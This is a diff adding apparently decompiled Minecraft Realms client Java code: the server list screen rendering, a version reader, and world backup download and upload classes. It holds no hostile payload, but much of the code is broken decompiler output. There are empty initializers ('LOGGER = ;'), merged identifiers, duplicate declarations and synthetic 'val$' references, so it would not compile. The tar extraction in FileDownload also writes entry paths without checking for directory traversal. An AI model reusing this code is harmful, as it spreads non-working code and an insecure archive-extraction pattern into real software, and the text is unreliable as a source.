+      int color = 0xFF000000 | (int)(scale * 64.0F) << 16 | (int)(scale * 64.0F) << 8 | (int)(scale * 64.0F) << 0;
+      
+      fillGradient(baseX - 2, 6, baseX + 18, 26, color, color);
+      
+      color = 0xFF000000 | (int)(scale * 255.0F) << 16 | (int)(scale * 255.0F) << 8 | (int)(scale * 255.0F) << 0;
+      fillGradient(baseX - 2, 6, baseX + 18, 7, color, color);
+      fillGradient(baseX - 2, 6, baseX - 1, 26, color, color);
+      fillGradient(baseX + 17, 6, baseX + 18, 26, color, color);
+      fillGradient(baseX - 2, 25, baseX + 18, 26, color, color);
+    }
+    
+    RealmsScreen.bind("realms:textures/gui/realms/invite_icon.png");
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPushMatrix();
+    RealmsScreen.blit(baseX, 2, hovering ? 16.0F : 0.0F, 0.0F, 15, 25, 31.0F, 25.0F);
+    GL11.glPopMatrix();
+    
+    if (pendingInvitesCount != 0) {
+      int spritePos = (Math.min(pendingInvitesCount, 6) - 1) * 8;
+      
+      int yOff = (int)(Math.max(0.0F, Math.max(RealmsMth.sin((10 + animTick) * 0.57F), RealmsMth.cos(animTick * 0.35F))) * -6.0F);
+      
+      RealmsScreen.bind("realms:textures/gui/realms/invitation_icons.png");
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+      GL11.glPushMatrix();
+      RealmsScreen.blit(baseX + 4, 12 + yOff, spritePos, hovering ? 8.0F : 0.0F, 8, 8, 48.0F, 16.0F);
+      
+      GL11.glPopMatrix();
+    }
+    
+    if (hovering) {
+      int rx = xm + 12;
+      int ry = ym - 12;
+      
+      String message = pendingInvitesCount == 0 ? getLocalizedString("mco.invites.nopending") : getLocalizedString("mco.invites.pending");
+      
+      int width = fontWidth(message);
+      fillGradient(rx - 3, ry - 3, rx + width + 3, ry + 8 + 3, -1073741824, -1073741824);
+      fontDrawShadow(message, rx, ry, -1);
+    }
+  }
+  
+  private boolean inPendingInvitationArea(int xm, int ym)
+  {
+    int x1 = width() / 2 + 50;
+    int x2 = width() / 2 + 66;
+    int y1 = 13;
+    int y2 = 27;
+    
+    return (x1 <= xm) && (xm <= x2) && (y1 <= ym) && (ym <= y2);
+  }
+  
+  public void play(RealmsServer server) {
+    if (server != null) {
+      stopRealmsFetcherAndPinger();
+      dontSetConnectedToRealms = true;
+      
+      if ((resourcePackUrl != null) && (resourcePackHash != null)) {
+        resourcePackServer = server;
+        saveListScrollPosition();
+        String line2 = getLocalizedString("mco.configure.world.resourcepack.question.line1");
+        String line3 = getLocalizedString("mco.configure.world.resourcepack.question.line2");
+        Realms.setScreen(new RealmsLongConfirmationScreen(this, com.mojang.realmsclient.gui.screens.RealmsLongConfirmationScreen.Type.Info, line2, line3, true, 100));
+      } else {
+        connectToServer(server);
+      }
+    }
+  }
+  
+  private void connectToServer(RealmsServer server) {
+    RealmsLongRunningMcoTaskScreen longRunningMcoTaskScreen = new RealmsLongRunningMcoTaskScreen(this, new com.mojang.realmsclient.util.RealmsTasks.RealmsConnectTask(this, server));
+    longRunningMcoTaskScreen.start();
+    Realms.setScreen(longRunningMcoTaskScreen);
+  }
+  
+  private class ServerSelectionList extends net.minecraft.realms.RealmsScrolledSelectionList
+  {
+    public ServerSelectionList() {
+      super(height(), 32, height() - 64, 36);
+    }
+    
+    public int getItemCount()
+    {
+      if (RealmsMainScreen.trialsAvailable) {
+        return realmsServers.size() + 1;
+      }
+      
+      return realmsServers.size();
+    }
+    
+    public void selectItem(int item, boolean doubleClick, int xMouse, int yMouse)
+    {
+      if (RealmsMainScreen.trialsAvailable) {
+        if (item == 0) {
+          RealmsMainScreen.this.createTrial();
+          return;
+        }
+        item--;
+      }
+      
+
+      if (item >= realmsServers.size()) {
+        return;
+      }
+      
+      RealmsServer server = (RealmsServer)realmsServers.get(item);
+      
+      if (state == RealmsServer.State.UNINITIALIZED) {
+        selectedServerId = -1L;
+        RealmsMainScreen.this.stopRealmsFetcherAndPinger();
+        Realms.setScreen(new com.mojang.realmsclient.gui.screens.RealmsCreateRealmScreen(server, RealmsMainScreen.this));
+      } else {
+        selectedServerId = id;
+      }
+      
+      configureButton.active((RealmsMainScreen.overrideConfigure) || ((RealmsMainScreen.this.isSelfOwnedServer(server)) && (state != RealmsServer.State.ADMIN_LOCK) && (state != RealmsServer.State.UNINITIALIZED)));
+      leaveButton.active(!RealmsMainScreen.this.isSelfOwnedServer(server));
+      playButton.active((state == RealmsServer.State.OPEN) && (!expired));
+      
+      if ((doubleClick) && (playButton.active())) {
+        play(RealmsMainScreen.this.findServer(selectedServerId));
+      }
+    }
+    
+    public boolean isSelectedItem(int item)
+    {
+      if (RealmsMainScreen.trialsAvailable) {
+        if (item == 0) {
+          return false;
+        }
+        item--;
+      }
+      
+
+      return item == RealmsMainScreen.this.findIndex(selectedServerId);
+    }
+    
+    public int getMaxPosition()
+    {
+      return getItemCount() * 36;
+    }
+    
+    public void renderBackground()
+    {
+      RealmsMainScreen.this.renderBackground();
+    }
+    
+    protected void renderItem(int i, int x, int y, int h, Tezzelator t, int mouseX, int mouseY)
+    {
+      if (RealmsMainScreen.trialsAvailable) {
+        if (i == 0) {
+          renderTrialItem(i, x, y);
+          return;
+        }
+        i--;
+      }
+      
+
+      if (i < realmsServers.size()) {
+        renderMcoServerItem(i, x, y);
+      }
+    }
+    
+    private void renderTrialItem(int i, int x, int y) {
+      int ry = y + 12;
+      int index = 0;
+      
+      String msg = RealmsScreen.getLocalizedString("mco.trial.message");
+      
+      boolean hovered = false;
+      
+
+      if ((x <= xm()) && (xm() <= getScrollbarPosition()) && (y <= ym()) && (ym() <= y + 32)) {
+        hovered = true;
+      }
+      
+      float scale = 0.5F + (1.0F + RealmsMth.sin(animTick * 0.25F)) * 0.25F;
+      int textColor;
+      int textColor; if (hovered) {
+        textColor = 0xFF | (int)(127.0F * scale) << 16 | (int)(255.0F * scale) << 8 | (int)(127.0F * scale);
+      } else {
+        textColor = 0xFF000000 | (int)(127.0F * scale) << 16 | (int)(255.0F * scale) << 8 | (int)(127.0F * scale);
+      }
+      for (String s : msg.split("\\\\n")) {
+        drawCenteredString(s, width() / 2, ry + index, textColor);
+        index += 10;
+      }
+    }
+    
+    private void renderMcoServerItem(int i, int x, int y) {
+      final RealmsServer serverData = (RealmsServer)realmsServers.get(i);
+      
+      int nameColor = RealmsMainScreen.this.isSelfOwnedServer(serverData) ? 8388479 : 16777215;
+      
+      if (state == RealmsServer.State.UNINITIALIZED) {
+        RealmsScreen.bind("realms:textures/gui/realms/world_icon.png");
+        GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+        GL11.glEnable(3008);
+        GL11.glPushMatrix();
+        RealmsScreen.blit(x + 10, y + 6, 0.0F, 0.0F, 40, 20, 40.0F, 20.0F);
+        GL11.glPopMatrix();
+        
+        float scale = 0.5F + (1.0F + RealmsMth.sin(animTick * 0.25F)) * 0.25F;
+        int textColor = 0xFF000000 | (int)(127.0F * scale) << 16 | (int)(255.0F * scale) << 8 | (int)(127.0F * scale);
+        drawCenteredString(RealmsScreen.getLocalizedString("mco.selectServer.uninitialized"), x + 10 + 40 + 75, y + 12, textColor);
+        
+        return;
+      }
+      
+      if (serverData.shouldPing(Realms.currentTimeMillis())) {
+        serverPing.lastPingSnapshot = Realms.currentTimeMillis();
+        
+        RealmsMainScreen.THREAD_POOL.submit(new Runnable()
+        {
+          public void run() {
+            try {
+              RealmsMainScreen.statusPinger.pingServer(serverDataip, serverDataserverPing);
+            } catch (UnknownHostException e) {
+              RealmsMainScreen.LOGGER.error("Pinger: Could not resolve host");
+            }
+          }
+        });
+      }
+      
+      drawString(serverData.getName(), x + 2, y + 1, nameColor);
+      
+      int dx = 207;
+      int dy = 1;
+      
+      if (expired) {
+        RealmsMainScreen.this.drawExpired(x + dx, y + dy, xm(), ym());
+      } else if (state == RealmsServer.State.CLOSED) {
+        RealmsMainScreen.this.drawClose(x + dx, y + dy, xm(), ym());
+      } else if ((RealmsMainScreen.this.isSelfOwnedServer(serverData)) && (daysLeft < 7)) {
+        showStatus(x - 14, y, serverData);
+        RealmsMainScreen.this.drawExpiring(x + dx, y + dy, xm(), ym(), daysLeft);
+      } else if (state == RealmsServer.State.OPEN) {
+        RealmsMainScreen.this.drawOpen(x + dx, y + dy, xm(), ym());
+        showStatus(x - 14, y, serverData);
+      } else if (state == RealmsServer.State.ADMIN_LOCK) {
+        RealmsMainScreen.this.drawLocked(x + dx, y + dy, xm(), ym());
+      }
+      
+      String noPlayers = "0";
+      
+      if (!serverPing.nrOfPlayers.equals(noPlayers)) {
+        String coloredNumPlayers = com.mojang.realmsclient.gui.ChatFormatting.GRAY + "" + serverPing.nrOfPlayers;
+        drawString(coloredNumPlayers, x + 200 - fontWidth(coloredNumPlayers), y + 1, 8421504);
+        
+        if ((xm() >= x + 200 - fontWidth(coloredNumPlayers)) && (xm() <= x + 200) && (ym() >= y + 1) && (ym() <= y + 9) && (ym() < height() - 64) && (ym() > 32)) {
+          toolTip = serverPing.playerList;
+        }
+      }
+      
+      if (worldType.equals(RealmsServer.WorldType.MINIGAME)) {
+        int motdColor = 9206892;
+        
+        if (animTick % 10 < 5) {
+          motdColor = 13413468;
+        }
+        
+        String miniGameStr = RealmsScreen.getLocalizedString("mco.selectServer.minigame") + " ";
+        int mgWidth = fontWidth(miniGameStr);
+        
+        drawString(miniGameStr, x + 2, y + 12, motdColor);
+        drawString(serverData.getMinigameName(), x + 2 + mgWidth, y + 12, 7105644);
+      } else {
+        drawString(serverData.getDescription(), x + 2, y + 12, 7105644);
+      }
+      
+      drawString(owner, x + 2, y + 12 + 11, 5000268);
+      
+
+
+      RealmsScreen.bindFace(ownerUUID, owner);
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+      RealmsScreen.blit(x - 36, y, 8.0F, 8.0F, 8, 8, 32, 32, 64.0F, 64.0F);
+      RealmsScreen.blit(x - 36, y, 40.0F, 8.0F, 8, 8, 32, 32, 64.0F, 64.0F);
+    }
+    
+    private void showStatus(int x, int y, RealmsServer serverData) {
+      if (ip == null) {
+        return;
+      }
+      
+      if (status != null) {
+        drawString(status, x + 215 - fontWidth(status), y + 1, 8421504);
+      }
+      
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+      RealmsScreen.bind("textures/gui/icons.png");
+    }
+  }
+  
+  private boolean isSelfOwnedServer(RealmsServer serverData)
+  {
+    return (ownerUUID != null) && (ownerUUID.equals(Realms.getUUID()));
+  }
+  
+  private boolean isSelfOwnedNonExpiredServer(RealmsServer serverData) {
+    return (ownerUUID != null) && (ownerUUID.equals(Realms.getUUID())) && (!expired);
+  }
+  
+  private void drawExpired(int x, int y, int xm, int ym) {
+    RealmsScreen.bind("realms:textures/gui/realms/expired_icon.png");
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPushMatrix();
+    GL11.glScalef(0.5F, 0.5F, 0.5F);
+    RealmsScreen.blit(x * 2, y * 2, 0.0F, 0.0F, 15, 15, 15.0F, 15.0F);
+    GL11.glPopMatrix();
+    
+    if ((xm >= x) && (xm <= x + 9) && (ym >= y) && (ym <= y + 9) && (ym < height() - 64) && (ym > 32)) {
+      toolTip = getLocalizedString("mco.selectServer.expired");
+    }
+  }
+  
+  private void drawExpiring(int x, int y, int xm, int ym, int daysLeft) {
+    if (animTick % 20 < 10) {
+      RealmsScreen.bind("realms:textures/gui/realms/on_icon.png");
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+      GL11.glPushMatrix();
+      GL11.glScalef(0.5F, 0.5F, 0.5F);
+      RealmsScreen.blit(x * 2, y * 2, 0.0F, 0.0F, 15, 15, 15.0F, 15.0F);
+      GL11.glPopMatrix();
+    }
+    
+    if ((xm >= x) && (xm <= x + 9) && (ym >= y) && (ym <= y + 9) && (ym < height() - 64) && (ym > 32)) {
+      if (daysLeft == 0) {
+        toolTip = getLocalizedString("mco.selectServer.expires.soon");
+      } else if (daysLeft == 1) {
+        toolTip = getLocalizedString("mco.selectServer.expires.day");
+      } else {
+        toolTip = getLocalizedString("mco.selectServer.expires.days", new Object[] { Integer.valueOf(daysLeft) });
+      }
+    }
+  }
+  
+  private void drawOpen(int x, int y, int xm, int ym) {
+    RealmsScreen.bind("realms:textures/gui/realms/on_icon.png");
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPushMatrix();
+    GL11.glScalef(0.5F, 0.5F, 0.5F);
+    RealmsScreen.blit(x * 2, y * 2, 0.0F, 0.0F, 15, 15, 15.0F, 15.0F);
+    GL11.glPopMatrix();
+    
+    if ((xm >= x) && (xm <= x + 9) && (ym >= y) && (ym <= y + 9) && (ym < height() - 64) && (ym > 32)) {
+      toolTip = getLocalizedString("mco.selectServer.open");
+    }
+  }
+  
+  private void drawClose(int x, int y, int xm, int ym) {
+    RealmsScreen.bind("realms:textures/gui/realms/off_icon.png");
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPushMatrix();
+    GL11.glScalef(0.5F, 0.5F, 0.5F);
+    RealmsScreen.blit(x * 2, y * 2, 0.0F, 0.0F, 15, 15, 15.0F, 15.0F);
+    GL11.glPopMatrix();
+    
+    if ((xm >= x) && (xm <= x + 9) && (ym >= y) && (ym <= y + 9) && (ym < height() - 64) && (ym > 32)) {
+      toolTip = getLocalizedString("mco.selectServer.closed");
+    }
+  }
+  
+  private void drawLocked(int x, int y, int xm, int ym) {
+    RealmsScreen.bind("realms:textures/gui/realms/off_icon.png");
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPushMatrix();
+    GL11.glScalef(0.5F, 0.5F, 0.5F);
+    RealmsScreen.blit(x * 2, y * 2, 0.0F, 0.0F, 15, 15, 15.0F, 15.0F);
+    GL11.glPopMatrix();
+    if ((xm >= x) && (xm <= x + 9) && (ym >= y) && (ym <= y + 9) && (ym < height() - 64) && (ym > 32)) {
+      toolTip = getLocalizedString("mco.selectServer.locked");
+    }
+  }
+  
+  protected void renderMousehoverTooltip(String msg, int x, int y) {
+    if (msg == null) {
+      return;
+    }
+    
+    int rx = x + 12;
+    int ry = y - 12;
+    int index = 0;
+    int width = 0;
+    
+    for (String s : msg.split("\n")) {
+      int the_width = fontWidth(s);
+      
+      if (the_width > width) {
+        width = the_width;
+      }
+    }
+    
+    for (String s : msg.split("\n")) {
+      fillGradient(rx - 3, ry - (index == 0 ? 3 : 0) + index, rx + width + 3, ry + 8 + 3 + index, -1073741824, -1073741824);
+      fontDrawShadow(s, rx, ry + index, 16777215);
+      index += 10;
+    }
+  }
+  
+  private void renderLink(int xm, int ym) {
+    String text = getLocalizedString("mco.selectServer.whatisrealms");
+    
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPushMatrix();
+    
+
+    int textWidth = fontWidth(text);
+    int leftPadding = 10;
+    int topPadding = 12;
+    
+    int x1 = leftPadding;
+    int x2 = x1 + textWidth + 1;
+    int y1 = topPadding;
+    int y2 = y1 + fontLineHeight();
+    
+    GL11.glTranslatef(x1, y1, 0.0F);
+    
+    if ((x1 <= xm) && (xm <= x2) && (y1 <= ym) && (ym <= y2)) {
+      onLink = true;
+      drawString(text, 0, 0, 7107012);
+    } else {
+      onLink = false;
+      drawString(text, 0, 0, 3368635);
+    }
+    
+    GL11.glPopMatrix();
+  }
+  
+  private void renderStage()
+  {
+    String text = "STAGE!";
+    
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPushMatrix();
+    
+    GL11.glTranslatef(width() / 2 - 25, 20.0F, 0.0F);
+    GL11.glRotatef(-20.0F, 0.0F, 0.0F, 1.0F);
+    GL11.glScalef(1.5F, 1.5F, 1.5F);
+    
+    drawString(text, 0, 0, 65280);
+    
+    GL11.glPopMatrix();
+  }
+  
+  public RealmsScreen newScreen() {
+    return new RealmsMainScreen(lastScreen);
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/RealmsVersion.java b/src/minecraft/com/mojang/realmsclient/RealmsVersion.java
new file mode 100644
index 0000000..cdf8d3e
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/RealmsVersion.java
@@ -0,0 +1,35 @@
+package com.mojang.realmsclient;
+
+import java.io.IOException;
+
+public class RealmsVersion
+{
+  private static String version;
+  
+  public RealmsVersion() {}
+  
+  public static String getVersion()
+  {
+    if (version != null) {
+      return version;
+    }
+    java.io.BufferedReader reader = null;
+    try {
+      java.io.InputStream versionStream = RealmsVersion.class.getResourceAsStream("/version");
+      reader = new java.io.BufferedReader(new java.io.InputStreamReader(versionStream));
+      version = reader.readLine();
+      reader.close();
+      return version;
+    }
+    catch (Exception ignore) {}finally
+    {
+      if (reader != null) {
+        try {
+          reader.close();
+        }
+        catch (IOException ignore) {}
+      }
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/client/FileDownload.java b/src/minecraft/com/mojang/realmsclient/client/FileDownload.java
new file mode 100644
index 0000000..eee6abf
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/client/FileDownload.java
@@ -0,0 +1,313 @@
+package com.mojang.realmsclient.client;
+
+import com.mojang.realmsclient.gui.screens.RealmsDownloadLatestWorldScreen.DownloadStatus;
+import java.awt.event.ActionEvent;
+import java.awt.event.ActionListener;
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import net.minecraft.realms.RealmsAnvilLevelStorageSource;
+import net.minecraft.realms.RealmsLevelSummary;
+import net.minecraft.realms.RealmsSharedConstants;
+import org.apache.commons.compress.archivers.tar.TarArchiveEntry;
+import org.apache.commons.compress.archivers.tar.TarArchiveInputStream;
+import org.apache.commons.io.output.CountingOutputStream;
+import org.apache.http.Header;
+import org.apache.http.HttpResponse;
+import org.apache.http.client.config.RequestConfig;
+import org.apache.http.client.config.RequestConfig.Builder;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.logging.log4j.Logger;
+
+public class FileDownload
+{
+  private static final Logger LOGGER = ;
+  
+  public FileDownload() { cancelled = false;
+    finished = false;
+    error = false;
+    extracting = false;
+    
+
+
+
+
+
+    requestConfig = RequestConfig.custom().setSocketTimeout(120000).setConnectTimeout(120000).build(); }
+  
+  private volatile boolean cancelled;
+  private volatile boolean finished;
+  private volatile boolean error;
+  
+  public long contentLength(String downloadLink) { CloseableHttpClient client = null;
+    HttpGet httpGet = null;
+    try {
+      httpGet = new HttpGet(downloadLink);
+      client = HttpClientBuilder.create().setDefaultRequestConfig(requestConfig).build();
+      
+
+      CloseableHttpResponse response = client.execute(httpGet);
+      return Long.parseLong(response.getFirstHeader("Content-Length").getValue());
+    } catch (Throwable t) { long l;
+      LOGGER.error("Unable to get content length for download");
+      return 0L;
+    } finally {
+      if (httpGet != null) {
+        httpGet.releaseConnection();
+      }
+      if (client != null)
+        try {
+          client.close();
+        } catch (IOException e) {
+          LOGGER.error("Could not close http client", e); } } }
+  
+  private volatile boolean extracting;
+  private volatile File tempFile;
+  private volatile HttpGet request;
+  private Thread currentThread;
+  private RequestConfig requestConfig;
+  public void download(final String downloadLink, final String worldName, final RealmsDownloadLatestWorldScreen.DownloadStatus downloadStatus, final RealmsAnvilLevelStorageSource levelStorageSource) { if (currentThread != null) {
+      return;
+    }
+    
+    currentThread = new Thread()
+    {
+      public void run() {
+        CloseableHttpClient client = null;
+        try {
+          tempFile = File.createTempFile("backup", ".tar.gz");
+          
+          request = new HttpGet(downloadLink);
+          client = HttpClientBuilder.create().setDefaultRequestConfig(requestConfig).build();
+          
+
+
+          HttpResponse response = client.execute(request);
+          downloadStatustotalBytes = Long.valueOf(Long.parseLong(response.getFirstHeader("Content-Length").getValue()));
+          
+          if (response.getStatusLine().getStatusCode() != 200) {
+            error = true;
+            request.abort();
+          }
+          else
+          {
+            OutputStream os = new FileOutputStream(tempFile);
+            FileDownload.ProgressListener progressListener = new FileDownload.ProgressListener(FileDownload.this, worldName.trim(), tempFile, levelStorageSource, downloadStatus, null);
+            FileDownload.DownloadCountingOutputStream dcount = new FileDownload.DownloadCountingOutputStream(FileDownload.this, os);
+            dcount.setListener(progressListener);
+            
+            org.apache.commons.io.IOUtils.copy(response.getEntity().getContent(), dcount);
+          }
+          return;
+        } catch (Exception e) { FileDownload.LOGGER.error("Caught exception while downloading: " + e.getMessage());
+          error = true;
+        } finally {
+          request.releaseConnection();
+          if (tempFile != null) {
+            tempFile.delete();
+          }
+          if (client != null) {
+            try {
+              client.close();
+            } catch (IOException e) {
+              FileDownload.LOGGER.error("Failed to close Realms download client");
+            }
+          }
+        }
+      }
+    };
+    currentThread.start();
+  }
+  
+  public void cancel() {
+    if (request != null) {
+      request.abort();
+    }
+    if (tempFile != null) {
+      tempFile.delete();
+    }
+    cancelled = true;
+  }
+  
+  public boolean isFinished() {
+    return finished;
+  }
+  
+  public boolean isError() {
+    return error;
+  }
+  
+  public boolean isExtracting() {
+    return extracting;
+  }
+  
+  private static final String[] INVALID_FILE_NAMES = { "CON", "COM", "PRN", "AUX", "CLOCK$", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9" };
+  
+
+  public static String findAvailableFolderName(String folder)
+  {
+    folder = folder.replaceAll("[\\./\"]", "_");
+    for (String invalidName : INVALID_FILE_NAMES) {
+      if (folder.equalsIgnoreCase(invalidName)) {
+        folder = "_" + folder + "_";
+      }
+    }
+    return folder;
+  }
+  
+  private void untarGzipArchive(String name, File file, RealmsAnvilLevelStorageSource levelStorageSource) throws IOException {
+    Pattern namePattern = Pattern.compile(".*-([0-9]+)$");
+    
+
+    int number = 1;
+    
+    for (char replacer : RealmsSharedConstants.ILLEGAL_FILE_CHARACTERS) {
+      name = name.replace(replacer, '_');
+    }
+    
+    if (org.apache.commons.lang3.StringUtils.isEmpty(name)) {
+      name = "Realm";
+    }
+    
+    name = findAvailableFolderName(name);
+    try
+    {
+      for (RealmsLevelSummary summary : levelStorageSource.getLevelList()) {
+        if (summary.getLevelId().toLowerCase().startsWith(name.toLowerCase())) {
+          Matcher matcher = namePattern.matcher(summary.getLevelId());
+          if (matcher.matches()) {
+            if (Integer.valueOf(matcher.group(1)).intValue() > number) {
+              number = Integer.valueOf(matcher.group(1)).intValue();
+            }
+          } else {
+            number++;
+          }
+        }
+      }
+    } catch (Exception e) {
+      error = true; return;
+    }
+    
+    String finalName;
+    if ((!levelStorageSource.isNewLevelIdAcceptable(name)) || (number > 1)) {
+      String finalName = name + (number == 1 ? "" : new StringBuilder().append("-").append(number).toString());
+      
+      if (!levelStorageSource.isNewLevelIdAcceptable(finalName)) {
+        boolean foundName = false;
+        
+        while (!foundName) {
+          number++;
+          finalName = name + (number == 1 ? "" : new StringBuilder().append("-").append(number).toString());
+          
+          if (levelStorageSource.isNewLevelIdAcceptable(finalName)) {
+            foundName = true;
+          }
+        }
+      }
+    } else {
+      finalName = name;
+    }
+    
+    TarArchiveInputStream tarIn = null;
+    File saves = new File(net.minecraft.realms.Realms.getGameDirectoryPath(), "saves");
+    try {
+      saves.mkdir();
+      
+      tarIn = new TarArchiveInputStream(new org.apache.commons.compress.compressors.gzip.GzipCompressorInputStream(new java.io.BufferedInputStream(new java.io.FileInputStream(file))));
+      
+      TarArchiveEntry tarEntry = tarIn.getNextTarEntry();
+      while (tarEntry != null) {
+        File destPath = new File(saves, tarEntry.getName().replace("world", finalName));
+        if (tarEntry.isDirectory()) {
+          destPath.mkdirs();
+        } else {
+          destPath.createNewFile();
+          byte[] btoRead = new byte['Ѐ'];
+          BufferedOutputStream bout = new BufferedOutputStream(new FileOutputStream(destPath));
+          int len = 0;
+          
+          while ((len = tarIn.read(btoRead)) != -1) {
+            bout.write(btoRead, 0, len);
+          }
+          
+          bout.close();
+          btoRead = null;
+        }
+        
+        tarEntry = tarIn.getNextTarEntry();
+      }
+    } catch (Exception e) { RealmsAnvilLevelStorageSource levelSource;
+      error = true;
+    } finally { RealmsAnvilLevelStorageSource levelSource;
+      if (tarIn != null) {
+        tarIn.close();
+      }
+      if (file != null) {
+        file.delete();
+      }
+      RealmsAnvilLevelStorageSource levelSource = levelStorageSource;
+      levelSource.renameLevel(finalName, finalName.trim());
+      finished = true;
+    }
+  }
+  
+
+  private class ProgressListener
+    implements ActionListener
+  {
+    private volatile String worldName;
+    
+    private volatile File tempFile;
+    private volatile RealmsAnvilLevelStorageSource levelStorageSource;
+    private volatile RealmsDownloadLatestWorldScreen.DownloadStatus downloadStatus;
+    
+    private ProgressListener(String worldName, File tempFile, RealmsAnvilLevelStorageSource levelStorageSource, RealmsDownloadLatestWorldScreen.DownloadStatus downloadStatus)
+    {
+      this.worldName = worldName;
+      this.tempFile = tempFile;
+      this.levelStorageSource = levelStorageSource;
+      this.downloadStatus = downloadStatus;
+    }
+    
+    public void actionPerformed(ActionEvent e)
+    {
+      downloadStatus.bytesWritten = Long.valueOf(((FileDownload.DownloadCountingOutputStream)e.getSource()).getByteCount());
+      if ((downloadStatus.bytesWritten.longValue() >= downloadStatus.totalBytes.longValue()) && (!cancelled)) {
+        try {
+          extracting = true;
+          FileDownload.this.untarGzipArchive(worldName, tempFile, levelStorageSource);
+        } catch (IOException e1) {
+          error = true;
+        }
+      }
+    }
+  }
+  
+  private class DownloadCountingOutputStream extends CountingOutputStream
+  {
+    private ActionListener listener = null;
+    
+    public DownloadCountingOutputStream(OutputStream out) {
+      super();
+    }
+    
+    public void setListener(ActionListener listener) {
+      this.listener = listener;
+    }
+    
+    protected void afterWrite(int n) throws IOException
+    {
+      super.afterWrite(n);
+      if (listener != null) {
+        listener.actionPerformed(new ActionEvent(this, 0, null));
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/client/FileUpload.java b/src/minecraft/com/mojang/realmsclient/client/FileUpload.java
new file mode 100644
index 0000000..6ae0f45
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/client/FileUpload.java
@@ -0,0 +1,173 @@
+package com.mojang.realmsclient.client;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonParser;
+import com.mojang.realmsclient.RealmsVersion;
+import com.mojang.realmsclient.dto.UploadInfo;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import org.apache.http.HttpResponse;
+import org.apache.http.client.config.RequestConfig;
+import org.apache.http.client.config.RequestConfig.Builder;
+import org.apache.http.client.methods.HttpPost;
+import org.apache.http.entity.InputStreamEntity;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.logging.log4j.Logger;
+
+public class FileUpload
+{
+  private static final Logger LOGGER = ;
+  private static final String UPLOAD_PATH = "/upload";
+  private static final String PORT = "8080";
+  
+  public FileUpload() { cancelled = false;
+    finished = false;
+    
+
+    statusCode = -1;
+    
+
+    requestConfig = RequestConfig.custom().setSocketTimeout(120000).setConnectTimeout(120000).build(); }
+  
+  private volatile boolean cancelled;
+  private volatile boolean finished;
+  private HttpPost request;
+  private int statusCode;
+  private String errorMessage;
+  private RequestConfig requestConfig;
+  private Thread currentThread;
+  public void upload(final File file, final long worldId, int slotId, final UploadInfo uploadInfo, final String sessionId, final String username, final String clientVersion, final UploadStatus uploadStatus) { if (currentThread != null) {
+      return;
+    }
+    
+    currentThread = new Thread()
+    {
+      public void run() {
+        request = new HttpPost("http://" + uploadInfo.getUploadEndpoint() + ":" + "8080" + "/upload" + "/" + String.valueOf(worldId) + "/" + String.valueOf(sessionId));
+        CloseableHttpClient client = null;
+        try {
+          client = HttpClientBuilder.create().setDefaultRequestConfig(requestConfig).build();
+          
+
+
+          String realmsVersion = RealmsVersion.getVersion();
+          if (realmsVersion != null) {
+            request.setHeader("Cookie", "sid=" + username + ";token=" + uploadInfo.getToken() + ";user=" + clientVersion + ";version=" + uploadStatus + ";realms_version=" + realmsVersion);
+          } else {
+            request.setHeader("Cookie", "sid=" + username + ";token=" + uploadInfo.getToken() + ";user=" + clientVersion + ";version=" + uploadStatus);
+          }
+          
+          filetotalBytes = Long.valueOf(val$file.length());
+          
+          FileUpload.CustomInputStreamEntity entity = new FileUpload.CustomInputStreamEntity(new java.io.FileInputStream(val$file), val$file.length(), file);
+          entity.setContentType("application/octet-stream");
+          request.setEntity(entity);
+          
+          HttpResponse response = client.execute(request);
+          
+          int statusCode = response.getStatusLine().getStatusCode();
+          
+          if (statusCode == 401) {
+            FileUpload.LOGGER.debug("Realms server returned 401: " + response.getFirstHeader("WWW-Authenticate"));
+          }
+          
+          FileUpload.this.statusCode = statusCode;
+          
+          String json = org.apache.http.util.EntityUtils.toString(response.getEntity(), "UTF-8");
+          
+          if (json != null) {
+            try {
+              JsonParser parser = new JsonParser();
+              errorMessage = parser.parse(json).getAsJsonObject().get("errorMsg").getAsString();
+            }
+            catch (Exception e) {}
+          }
+          return;
+        } catch (Exception e) {
+          FileUpload.LOGGER.error("Caught exception while uploading: " + e.getMessage());
+        } finally {
+          request.releaseConnection();
+          finished = true;
+          if (client != null) {
+            try {
+              client.close();
+            } catch (IOException e) {
+              FileUpload.LOGGER.error("Failed to close Realms upload client");
+            }
+          }
+        }
+      }
+    };
+    currentThread.start();
+  }
+  
+  public void cancel() {
+    cancelled = true;
+    if (request != null) {
+      request.abort();
+    }
+  }
